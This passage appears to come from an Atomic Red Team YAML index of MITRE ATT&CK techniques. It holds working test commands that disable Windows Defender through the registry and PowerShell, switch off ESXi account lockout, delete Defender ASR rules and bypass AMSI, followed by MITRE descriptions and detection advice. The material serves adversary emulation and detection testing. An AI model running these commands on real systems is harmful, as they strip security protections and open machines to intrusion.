          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v
          \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v
          \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\"
          /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows
          Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App
          and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD
          /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\"
          /v \"TamperProtection\"  /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows
          defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f
          >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\"
          /t REG_DWORD /d \"0\" /f >NUL 2>nul\n"
        cleanup_command: "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\"
          /v \"DisableAntiSpyware\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows
          Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableIOAVProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          /v \"DisableScriptScanning\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v
          \"DisableEnhancedNotifications\" /t REG_DWORD /d \"0\" /f >NUL 2>nul \nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v
          \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add
          \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\"
          /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows
          Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg
          add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender Security Center\\App
          and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD
          /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\"
          /v \"TamperProtection\"  /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows
          defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"1\" /f
          >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\"
          /t REG_DWORD /d \"1\" /f >NUL 2>nul\n"
        name: command_prompt
        elevation_required: true
    - name: Tamper with Windows Defender Registry - Powershell
      auto_generated_guid: a72cfef8-d252-48b3-b292-635d332625c3
      description: 'Disable Windows Defender by tampering with windows defender registry
        through powershell

        '
      supported_platforms:
      - windows
      executor:
        command: "Set-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\" -Name \"DisableAntiSpyware\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\" -Name \"DisableAntiVirus\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value
          1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 1 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          -Name \"DisableIOAVProtection\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value
          1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableRealtimeMonitoring\" -Value 1 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          -Name \"DisableRoutinelyTakingAction\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value
          1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableScriptScanning\" -Value 1 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name
          \"DisableEnhancedNotifications\" -Value 1  \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 1 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name
          \"SpynetReporting\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows
          Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\"
          -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\"
          -Name \"TamperProtection\"  -Value 0 \nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows
          defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 0 \nSet-ItemProperty
          \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\"
          -Value 0 \n"
        cleanup_command: "Set-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\" -Name \"DisableAntiSpyware\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\" -Name \"DisableAntiVirus\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value
          0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 0\nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          -Name \"DisableIOAVProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value
          0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableRealtimeMonitoring\" -Value 0 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"
          -Name \"DisableRoutinelyTakingAction\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value
          0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time
          Protection\" -Name \"DisableScriptScanning\" -Value 0 \nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name
          \"DisableEnhancedNotifications\" -Value 0  \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 0\nSet-ItemProperty
          \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name
          \"SpynetReporting\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows
          Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows
          Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\"
          -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\"
          -Name \"TamperProtection\"  -Value 1\nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows
          defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 1 \nSet-ItemProperty
          \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\"
          -Value 1 \n"
        name: powershell
        elevation_required: true
    - name: ESXi - Disable Account Lockout Policy via PowerCLI
      auto_generated_guid: '091a6290-cd29-41cb-81ea-b12f133c66cb'
      description: 'An adversary may disable account lockout policy within ESXi to
        have the ability to prevent defensive actions from being enforced in the future
        or to prevent future alerting.

        '
      supported_platforms:
      - linux
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if VMWARE PowerCLI PowerShell Module is installed.

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
          if (-not $RequiredModule) {exit 1}
        get_prereq_command: 'Install-Module -Name VMware.PowerCLI -Confirm:$false

          '
      executor:
        command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false
          -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password
          #{vm_pass}\nGet-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures'
          | Set-AdvancedSetting -Value '0' -Confirm:$false\nDisconnect-VIServer -Confirm:$false\n"
        name: powershell
        elevation_required: true
    - name: Delete Microsoft Defender ASR Rules - InTune
      auto_generated_guid: eea0a6c2-84e9-4e8c-a242-ac585d28d0d1
      description: This test simulates the deletion of the ASR rules loaded by Microsoft
        Defender using the registry. Depending on the deployment, rules can be pushed
        either using GPO or InTune, This test simulates an InTune-based rules deployment.
      supported_platforms:
      - windows
      executor:
        command: |-
          $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"

          if (-not (Test-Path $registryPath)) {
            New-Item -Path $registryPath -Force
            Write-Host "Registry key created: $registryPath"
          }

          $registryValueName = "ASRRules"

          if (Test-Path "$registryPath\$registryValueName") {
            Remove-ItemProperty -Path $registryPath -Name $registryValueName
            Write-Host "Registry value deleted: $registryValueName"
          } else {
            New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force
            Write-Host "Registry value created: $registryValueName"
          }


          Remove-ItemProperty -Path $registryPath -Name $registryValueName
          Write-Host "Registry value deleted: $registryValueName"
        name: powershell
        elevation_required: true
    - name: Delete Microsoft Defender ASR Rules - GPO
      auto_generated_guid: 0e7b8a4b-2ca5-4743-a9f9-96051abb6e50
      description: This test simulates the deletion of the ASR rules loaded by Microsoft
        Defender using the registry. Depending on the deployment, rules can be pushed
        either using GPO or InTune, This test simulates a GPO-based rules deployment.
      supported_platforms:
      - windows
      executor:
        command: |-
          $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"

          if (-not (Test-Path $registryPath)) {
              New-Item -Path $registryPath -Force
              Write-Host "Registry key created: $registryPath"
          }

          $newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869"
          $newValueData = "1"
          New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
          Write-Host "Registry value created: $newValueName with data $newValueData"

          Remove-ItemProperty -Path $registryPath -Name $newValueName
          Write-Host "Registry value deleted: $newValueName"
        name: powershell
        elevation_required: true
    - name: AMSI Bypass - Create AMSIEnable Reg Key
      auto_generated_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0
      description: |
        Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
        Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null
        cleanup_command: 'Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings"
          -Recurse -Force 2> $null

          '
        name: powershell
        elevation_required: true
  T1601:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754
      type: attack-pattern
      created: '2020-10-19T19:42:19.740Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1601
        url: https://attack.mitre.org/techniques/T1601
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Modify System Image
      description: |-
        Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

        To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: "Most embedded network devices provide a command to print
        the version of the currently running operating system.  Use this command to
        query the operating system for its version number and compare it to what is
        expected for the device in question.  Because this method may be used in conjunction
        with [Patch System Image](https://attack.mitre.org/techniques/T1601/001),
        it may be appropriate to also verify the integrity of the vendor provided
        operating system image file. \n\nCompare the checksum of the operating system
        file with the checksum of a known good copy from a trusted source.  Some embedded
        network device platforms may have the capability to calculate the checksum
        of the file, while others may not.  Even for those platforms that have the
        capability, it is recommended to download a copy of the file to a trusted
        computer to calculate the checksum with software that is not compromised.
        \ (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany
        vendors of embedded network devices can provide advanced debugging support
        that will allow them to work with device owners to validate the integrity
        of the operating system running in memory.  If a compromise of the operating
        system is suspected, contact the vendor technical support and seek such services
        for a more thorough inspection of the current running system.  (Citation:
        Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)"
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574:
    technique:
      modified: '2023-11-21T20:02:33.404Z'
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      created: '2020-03-12T20:38:12.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574
        external_id: T1574
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1027.005:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92
      created: '2020-03-19T21:27:32.820Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1027.005
        url: https://attack.mitre.org/techniques/T1027/005
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

        A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Indicator Removal from Tools
      x_mitre_detection: The first detection of a malicious tool may trigger an anti-virus
        or other security tool alert. Similar events may also occur at the boundary
        through network IDS, email scanning appliance, etc. The initial detection
        should be treated as an indication of a potentially more invasive intrusion.
        The alerting system should be thoroughly investigated beyond that initial
        alert for activity that was not detected. Adversaries may continue with an
        operation, assuming that individual events like an anti-virus detect will
        not be investigated or that an analyst will not be able to conclusively link
        that event to other activity occurring on the network.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - Log analysis
      - Signature-based detection
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Valid Accounts
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Jon Sternstein, Stern Security
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Anti-virus
      - Host Intrusion Prevention Systems
      - Network Intrusion Detection System
      - Application Control
      - System Access Controls
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      created: '2017-05-31T21:31:00.645Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078
        external_id: T1078
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1055.012:
    technique:
      modified: '2023-08-11T21:37:00.009Z'
      name: 'Process Injection: Process Hollowing'
      description: "Adversaries may inject malicious code into suspended and hollowed
        processes in order to evade process-based defenses. Process hollowing is a
        method of executing arbitrary code in the address space of a separate live
        process.  \n\nProcess hollowing is commonly performed by creating a process
        in a suspended state then unmapping/hollowing its memory, which can then be
        replaced with malicious code. A victim process can be created with native
        Windows API calls such as <code>CreateProcess</code>, which includes a flag
        to suspend the processes primary thread. At this point the process can be
        unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>
        \ before being written to, realigned to the injected code, and resumed via
        <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,
        then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local
        Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new
        process rather than targeting an existing process. This behavior will likely
        not result in elevated privileges since the injected process was spawned from
        (and thus inherits the security context) of the injecting process. However,
        execution via process hollowing may also evade detection from security products
        since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)

